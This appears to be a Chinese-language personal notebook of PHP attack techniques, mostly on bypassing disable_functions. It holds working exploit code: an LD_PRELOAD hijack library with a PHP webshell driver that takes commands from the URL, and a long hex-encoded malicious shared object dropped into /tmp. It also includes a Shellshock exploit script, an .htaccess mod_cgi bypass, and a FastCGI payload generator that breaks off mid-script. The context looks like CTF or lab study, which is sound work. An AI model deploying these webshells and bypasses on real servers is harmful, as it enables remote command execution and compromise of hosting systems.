php-安全杂记

php-安全知识点·杂记🤹‍

若有侵权,请联系删除修改 fe1w0

php_protocol

https://www.php.net/manual/zh/wrappers.php

巧用利用filter

compress.bzip2://phar://

绕过die

其他

php 标签与版本问题

When php parse a file,it looks for opening and closing tag.php parser interpreting  the code between opening and closing tag and allows php to be embedded in all shorts of different documents.Outside of opening and closing tag is ignored by the php parser.

Now php recommended you to use only two tags.

1.Standard tag which is <?php echo "I'm Standard tag"; ?>
2.Short echo tag which is <?= "I'm Short echo tag"; ?>

Both are not affected by php ini configuration file directive.

Although php also allow short open tag which is discoursed but still available if php was configured with --enable-short-tags or short_open_tag is enabled in php ini configuration file directive.

if you want to use php in combination with xml,you can disable short_open_tag in order to use <?xml ?> inline.
Otherwise, you can print it with PHP, for example: <?php echo '<?xml version="1.0"?>'; ?>

short_echo_tag also affected the short echo tag before 5.4.0
since 5.4.0,short echo tag is always available.

asp tag <% %> and <%= > are removed from php 7
script tag <script language="php"> <script/> also removed from php 7

It is preferable to omit the closing tag if a file only contain the php code.
<?php echo "a statement";
    echo "another statement";

It prevent unwanted whitespace or new line being added after the closing tag.
--happy-gazi|php-

from https://www.php.net/manual/en/language.basic-syntax.phptags.php

特殊构造webshell

refer:

https://github.com/EddieIvan01/Generate_Char_By_Xor

利用无字母来构造webshell

利用数学计算符号来构造webshell

PHP-Parametric-Function-RCE

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

webshell 结构与其他问题

assert

主要记录这一点的原因是 assert 可拼接执行与php 版本间的关系

$a = $_GET[1];
$b = $_GET[2];
$b($a);

对于这种结构的代码,assert 在 PHP版本低于 7.1的版本可以正常使用,还是被认为是函数,而非是语言结构(类似eval)。

测试的环境

php5.2.17nts  php5.4.45nts  php5.6.9nts  php7.0.9nts.log  php7.2.9nts      php7.3.4nts  php7.4.3nts
php5.3.29nts php5.5.9nts   php7.0.9nts php7.1.9nts     php7.3.9nts  

bypass disable_function 🥙

refer&&learn:[不全]

https://www.anquanke.com/post/id/208451

https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/#0x01-disable-functions

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/

https://www.freebuf.com/web/192052.html [推荐]

0x01 LD_PRELOAD

0x0a 劫持函数

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

from https://blog.csdn.net/chen_jianjian/article/details/80627693

mail.php

<?php
mail('','','','');
?>
  • 安装 strace readelf
apt install strace -y #for install  strace 
apt install binutils -y #for install readelf

查看启动的子进程,注意要新开一个execve

root@7fda2fc3e457:/app/2020_11_5_bypass_disable_function# strace -f php mail.php 2>&1 | grep execve
execve("/usr/bin/php", ["php", "mail.php"], 0x7ffc182d8a70 /* 26 vars */) = 0
[pid  1500] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i"], 0x560324ddee70 /* 26 vars */ <unfinished ...>
[pid  1500] <... execve resumed> )      = 0
[pid  1501] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x55af273c6bd0 /* 25 vars */ <unfinished ...>
[pid  1501] <... execve resumed> )      = 0
[pid  1502] execve("/usr/sbin/postdrop", ["/usr/sbin/postdrop", "-r"], 0x55ae359c43e0 /* 2 vars */) = 0

查看sendmail使用了哪些函数

readelf -s /usr/sbin/sendmail
image-20201112214758521

使用geteuid@GLIBC_2.2.5 (3),编写so文件 test.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
       system("whoami > /tmp/fe1w0");
}
int getuid()
{
       if(getenv("LD_PRELOAD")==NULL){ return 0;}
       unsetenv("LD_PRELOAD");
       payload();
}

编译生成

gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so

之后利用putenv将变量添加到服务器

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

之后成功执行payload

root@7fda2fc3e457:~# cat /tmp/fe1w0
www-data

0x0b 劫持共享对象

此外,可以看一下yangyangwithgnu师傅的基于劫持启动进程的bypass_disablefunc_via_LD_PRELOAD

核心知识点:

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数 from https://www.freebuf.com/web/192052.html

  • bypass_disablefunc.php
<?php
   echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

   $cmd = $_GET["cmd"];
   $out_path = $_GET["outpath"];
   $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
   echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

   putenv("EVIL_CMDLINE=" . $evil_cmdline);

   $so_path = $_GET["sopath"];
   putenv("LD_PRELOAD=" . $so_path);

   mail("", "", "", "");

   echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

   unlink($out_path);
?>
  • bypass_disablefunc_x64.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
   // get command line options and arg
   const char* cmdline = getenv("EVIL_CMDLINE");
   // unset environment variable LD_PRELOAD.
   // unsetenv("LD_PRELOAD") no effect on some
   // distribution (e.g., centos), I need crafty trick.
   int i;
   for (i = 0; environ[i]; ++i) {
           if (strstr(environ[i], "LD_PRELOAD")) {
                   environ[i][0] = '\0';
          }
  }
   // executive command
   system(cmdline);
}

代码解析

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://www.freebuf.com/vuls/227684.html 推荐

也可以直接执行

file_put_contents('/tmp/1.so',pack('H*','7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b8010000000000000500000000000000c0030000000000000600000000000000f8010000000000000a00000000000000ca000000000000000b0000000000000018000000000000000300000000000000180b20000000000002000000000000007800000000000000140000000000000007000000000000001700000000000000c0050000000000000700000000000000d0040000000000000800000000000000f00000000000000009000000000000001800000000000000feffff6f00000000b004000000000000ffffff6f000000000100000000000000f0ffff6f000000008a04000000000000f9ffff6f0000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280920000000000000000000000000000000000000000000760600000000000086060000000000009606000000000000a606000000000000b606000000000000580b2000000000004743433a202844656269616e20342e392e322d31302b6465623875322920342e392e3200002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300f80100000000000000000000000000000000000003000400c003000000000000000000000000000000000000030005008a0400000000000000000000000000000000000003000600b00400000000000000000000000000000000000003000700d00400000000000000000000000000000000000003000800c00500000000000000000000000000000000000003000900380600000000000000000000000000000000000003000a00600600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00600800000000000000000000000000000000000003000d00690800000000000000000000000000000000000003000e00840800000000000000000000000000000000000003000f00a00800000000000000000000000000000000000003001000080920000000000000000000000000000000000003001100180920000000000000000000000000000000000003001200200920000000000000000000000000000000000003001300280920000000000000000000000000000000000003001400e80a20000000000000000000000000000000000003001500180b20000000000000000000000000000000000003001600580b20000000000000000000000000000000000003001700600b2000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200200920000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00000700000000000000000000000000004100000002000b00500700000000000000000000000000005700000001001700600b20000000000001000000000000006600000001001100180920000000000000000000000000008d00000002000b0090070000000000000000000000000000990000000100100008092000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000cd00000001000f0000090000000000000000000000000000db0000000100120020092000000000000000000000000000000000000400f1ff00000000000000000000000000000000e700000001001600580b2000000000000000000000000000f40000000100130028092000000000000000000000000000fd00000001001600600b20000000000000000000000000000901000001001500180b20000000000000000000000000001f01000012000000000000000000000000000000000000003301000020000000000000000000000000000000000000004f01000010001600600b20000000000000000000000000005601000012000c00600800000000000000000000000000005c01000012000000000000000000000000000000000000007001000020000000000000000000000000000000000000007f01000011000000000000000000000000000000000000009401000010001700680b20000000000000000000000000009901000010001700600b2000000000000000000000000000a501000012000b00c0070000000000009d00000000000000ad0100002000000000000000000000000000000000000000c10100001100000000000000000000000000000000000000d80100002000000000000000000000000000000000000000f201000022000000000000000000000000000000000000000e02000012000900380600000000000000000000000000001402000012000000000000000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36363730005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006279706173735f64697361626c6566756e632e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000'));putenv("EVIL_CMDLINE=/readflag > /tmp/flag.txt");putenv("LD_PRELOAD=/tmp/1.so");error_log("",1);readfile('/tmp/flag.txt');

0x0c 其他:

  • libvirt_connect 复现失败

这一点可以看bi0s团队的博客,但可惜的是,没有具体阐述如何使用

链接如下:

https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/
https://github.com/tarunkant/fuzzphunc

复现过程如下:[失败]

配置环境:

sudo apt install -y php-libvirt-php #安装 php-libvirt-php
# edit the current version php.ini
# On the last line, add the following statement
[libvirt]
extension=libvirt-php
; Path to ISO images for VM installations
libvirt.iso_path=/var/lib/libvirt/images
; Path where disk images for new VMs should be created
libvirt.image_path=/var/lib/libvirt/images
; Limit maximum number of libvirt connections
libvirt.max_connections=5

检验:

<?php
   print_r(libvirt_version());
?>

或者直接phpinfo()

demo-script

<?php
   $logfile = 'test.log';

   unlink($logfile);
   if (!libvirt_logfile_set($logfile))
        die('Cannot set the log file');

   $conn = libvirt_connect('null', false);
   unset($conn);

   $fp = fopen($logfile, 'r');
   $str = fread($fp, filesize($logfile));
   fclose($fp);

   echo $str;
?>

是因为代码运行失败导致只有一个execvr???

Error_report

Failed to connect socket to ‘/var/run/libvirt/libvirt-sock’: No such file or directory

需要 安装kvm

0x02 ShellShock

推荐用Metasploitable2

利用bash破壳漏洞(CVE-2014-6271),该漏洞存在于bash 1.14 – 4.3版本中 https://www.cnblogs.com/qmfsun/p/7591757.html

导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令 利用的PHP代码:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
  $tmp = tempnam(".","data");
  putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  // In Safe Mode, the user may only alter environment variableswhose names
  // begin with the prefixes supplied by this directive.
  // By default, users will only be able to set environment variablesthat
  // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
  // PHP will let the user modify ANY environment variable!
  //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
  error_log('a',1);
  $output = @file_get_contents($tmp);
  @unlink($tmp);
  if($output != "") return $output;
  else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

0x03 Apache Mod CGI

Apache Mod CGI https://www.docs4dev.com/docs/zh/apache/2.4/reference/howto-cgi.html

禁用函数如下:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

比之前多禁用了putenv

这次使用的方法是利用.htaccess,我们通过上传.htaccess来利用apache的mod_cgi来绕过php的限制,这个利用方法在De1CTF checkin出现过 利用条件:

  • 目录下有写权限
  • apache 使用 apache_mod_php
  • Web 目录给了 AllowOverride 权限
  • 启用了mod_cgi 配置教程:

https://www.cnblogs.com/hupeng1234/p/8452748.html

首先上传.htaccess

Options +ExecCGI
AddHandler cgi-script .test

之后上传shell.test

#!/bin/bash
echo&&cat /flag

然后访问shell.test

output:

curl http://127.0.0.1:40080/2020_11_5_bypass_disable_function/Apache_Mod_CGI/shell.sh
flag{123456}

0x04 PHP-FPM

https://zhuanlan.zhihu.com/p/75114351[推荐]

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html [p神必定推荐,值得学习]

https://www.php.net/manual/zh/book.fpm.php

原理上面的师傅都分析的很好

https://github.com/Medicean/as_bypass_php_disable_functions

此外,推荐看一下下面文章,理清cgi fastcgiphp-fpm三者关系

https://kknews.cc/code/69zkarp.html
https://developer.aliyun.com/article/44947
https://www.awaimai.com/371.html

下面是我个人理解

当启动php-fpm时,请求过程如下

(0) php-fpm 启动,加载php.ini 进行初始化,生成1个master和多个worker进程

(1) 客户端向 web server中间器发送请求;

(2) web server中间器向php-fpm发送fastcgi请求,由worker接受处理

(3)php-fpm worker让php-cgi对请求内容进行解析,并接受返回结果,并一一返回给上一层,直到客户端收到

整理时,主要思路是P神上的思路,即利用对fastgci的通讯,可以修改PHP_VALUEPHP_ADMIN_VALUE,导致通过加载恶意so文件,从而绕过disable_function

而antsword上插件的原理是也是这类思路,但更绝的是,其so文件(就是system 直接命令执行 php -n -S 127.0.0.1:61111 -t /var/www/html/ )会开启一个新端口的web server(-n 不再使用php.ini),同时访问proxy.php(密码还有你原来的密码)进行代理访问,从而绕过disable_function

具体分析:

https://tmr.js.org/p/a63cefbc/

下面是具体复现:

环境:

antswordproject/antsword-labs/5

image-20201115173845985

ssrf 代码 from https://www.mrkaixin.top/posts/6a3f7da8/

用于生成实际与php-fpm链接的协议内容

import socket
import base64
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
   if PY2:
       return force_bytes(chr(i))
   else:
       return bytes([i])
def bord(c):
   if isinstance(c, int):
       return c
   else:
       return ord(c)
def force_bytes(s):
   if isinstance(s, bytes):
       return s
   else:
       return s.encode('utf-8', 'strict')
def force_text(s):
   if issubclass(type(s), str):
       return s
   if isinstance(s, bytes):
       s = str(s, 'utf-8', 'strict')
   else:
       s = str(s)
   return s
class FastCGIClient:
   """A Fast-CGI Client for Python"""
   # private
   __FCGI_VERSION = 1
   __FCGI_ROLE_RESPONDER = 1
   __FCGI_ROLE_AUTHORIZER = 2
   __FCGI_ROLE_FILTER = 3
   __FCGI_TYPE_BEGIN = 1
   __FCGI_TYPE_ABORT = 2
   __FCGI_TYPE_END = 3
   __FCGI_TYPE_PARAMS = 4
   __FCGI_TYPE_STDIN = 5
   __FCGI_TYPE_STDOUT = 6
   __FCGI_TYPE_STDERR = 7
   __FCGI_TYPE_DATA = 8
   __FCGI_TYPE_GETVALUES = 9
   __FCGI_TYPE_GETVALUES_RESULT = 10
   __FCGI_TYPE_UNKOWNTYPE = 11
   __FCGI_HEADER_SIZE = 8
   # request state
   FCGI_STATE_SEND = 1
   FCGI_STATE_ERROR = 2
   FCGI_STATE_SUCCESS = 3
   def __init__(self, host, port, timeout, keepalive):
       self.host = host
       self.port = port
       self.timeout = timeout
       if keepalive:
           self.keepalive = 1
       else:
           self.keepalive = 0
       self.sock = None
       self.requests = dict()
   def __connect(self):
       self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       self.sock.settimeout(self.timeout)
       self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
       # if self.keepalive:
       #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
       # else:
       #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
       try:
           self.sock.connect((self.host, int(self.port)))
       except socket.error as msg:
           self.sock.close()
           self.sock = None
           print(repr(msg))
           return False
       return True
   def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
       length = len(content)
       buf = bchr(FastCGIClient.__FCGI_VERSION) \
              + bchr(fcgi_type) \
              + bchr((requestid >> 8) & 0xFF) \
              + bchr(requestid & 0xFF) \
              + bchr((length >> 8) & 0xFF) \
              + bchr(length & 0xFF) \
              + bchr(0) \
              + bchr(0) \
              + content
       return buf
   def __encodeNameValueParams(self, name, value):
       nLen = len(name)
       vLen = len(value)
       record = b''
       if nLen < 128:
           record += bchr(nLen)
       else:
           record += bchr((nLen >> 24) | 0x80) \
                     + bchr((nLen >> 16) & 0xFF) \
                     + bchr((nLen >> 8) & 0xFF) \
                     + bchr(nLen & 0xFF)
       if vLen < 128:
           record += bchr(vLen)
       else:
           record += bchr((vLen >> 24) | 0x80) \
                     + bchr((vLen >> 16) & 0xFF) \
                     + bchr((vLen >> 8) & 0xFF) \
                     + bchr(vLen & 0xFF)
       return record + name + value
   def __decodeFastCGIHeader(self, stream):
       header = dict()
       header['version'] = bord(stream[0])
       header['type'] = bord(stream[1])
       header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
       header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
       header['paddingLength'] = bord(stream[6])
       header['reserved'] = bord(stream[7])
       return header
   def __decodeFastCGIRecord(self, buffer):
       header = buffer.read(int(self.__FCGI_HEADER_SIZE))
       if not header:
           return False
       else:
           record = self.__decodeFastCGIHeader(header)
           record['content'] = b''
           
           if 'contentLength' in record.keys():
               contentLength = int(record['contentLength'])
               record['content'] += buffer.read(contentLength)
           if 'paddingLength' in record.keys():
               skiped = buffer.read(int(record['paddingLength']))
           return record
   def request(self, nameValuePairs={}, post=''):
      # if not self.__connect():
       #   print('connect failure! please check your fasctcgi-server !!')
        #   return
       requestId = random.randint(1, (1 << 16) - 1)
       self.requests[requestId] = dict()
       request = b""
       beginFCGIRecordContent = bchr(0) \
                                + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                + bchr(self.keepalive) \
                                + bchr(0) * 5
       request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                             beginFCGIRecordContent, requestId)
       paramsRecord = b''
       if nameValuePairs:
           for (name, value) in nameValuePairs.items():
               name = force_bytes(name)
               value = force_bytes(value)
               paramsRecord += self.__encodeNameValueParams(name, value)
       if paramsRecord:
           request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
       request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
       if post:
           request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
       request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
       return request
       # 以下是原脚本发包的过程
       # self.sock.send(request)
       # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
       # self.requests[requestId]['response'] = b''
       # return self.__waitForResponse(requestId)
   def __waitForResponse(self, requestId):
       data = b''
       while True:
           buf = self.sock.recv(512)
           if not len(buf):
               break
           data += buf
       data = BytesIO(data)
       while True:
           response = self.__decodeFastCGIRecord(data)
           if not response:
               break
           if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                   or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
               if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                   self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
               if requestId == int(response['requestId']):
                   self.requests[requestId]['response'] += response['content']
           if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
               self.requests[requestId]
       return self.requests[requestId]['response']
   def __repr__(self):
       return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
   parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
   parser.add_argument('host', help='Target host, such as 127.0.0.1')
   parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
   parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
   parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
   args = parser.parse_args()
   client = FastCGIClient(args.host, args.port, 3, 0)
   params = dict()
   documentRoot = "/"
   uri = args.file
   content = args.code
   params = {
       'GATEWAY_INTERFACE': 'FastCGI/1.0',
       'REQUEST_METHOD': 'POST',
       'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
       'SCRIPT_NAME': uri,
       'QUERY_STRING': '',
       'REQUEST_URI': uri,
       'DOCUMENT_ROOT': documentRoot,
       'SERVER_SOFTWARE': 'php/fcgiclient',
       'REMOTE_ADDR': '127.0.0.1',
       'REMOTE_PORT': '9984', #本地链接端口 9985
       'SERVER_ADDR': '127.0.0.1',
       'SERVER_PORT': '80',
       'SERVER_NAME': "localhost",
       'SERVER_PROTOCOL': 'HTTP/1.1',
